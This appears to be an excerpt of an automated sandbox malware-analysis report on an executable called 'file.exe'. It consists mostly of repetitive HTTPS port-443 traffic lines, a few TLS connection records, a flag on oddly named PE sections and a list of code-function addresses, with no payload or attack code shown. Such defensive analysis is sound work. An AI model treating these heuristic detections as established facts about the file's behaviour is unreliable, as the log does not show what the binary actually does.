Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50129 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017

Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.5:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.140:443 -> 192.168.2.5:49846 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.140:443 -> 192.168.2.5:49863 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.5:50080 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BAC60	0_2_6C6BAC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C78AC30	0_2_6C78AC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C776C00	0_2_6C776C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70ECD0	0_2_6C70ECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AECC0	0_2_6C6AECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C77ED70	0_2_6C77ED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7DAD50	0_2_6C7DAD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C83CDC0	0_2_6C83CDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C838D20	0_2_6C838D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B4DB0	0_2_6C6B4DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C746D90	0_2_6C746D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C74EE70	0_2_6C74EE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C790E20	0_2_6C790E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BAEC0	0_2_6C6BAEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C750EC0	0_2_6C750EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C736E90	0_2_6C736E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C772F70	0_2_6C772F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C71EF40	0_2_6C71EF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7F0F20	0_2_6C7F0F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B6F10	0_2_6C6B6F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C78EFF0	0_2_6C78EFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B0FE0	0_2_6C6B0FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7F8FB0	0_2_6C7F8FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BEFB0	0_2_6C6BEFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C784840	0_2_6C784840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C700820	0_2_6C700820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C73A820	0_2_6C73A820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7B68E0	0_2_6C7B68E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C79C8C0	0_2_6C79C8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E8960	0_2_6C6E8960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C706900	0_2_6C706900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7CC9E0	0_2_6C7CC9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E49F0	0_2_6C6E49F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7709B0	0_2_6C7709B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7409A0	0_2_6C7409A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C76A9A0	0_2_6C76A9A0
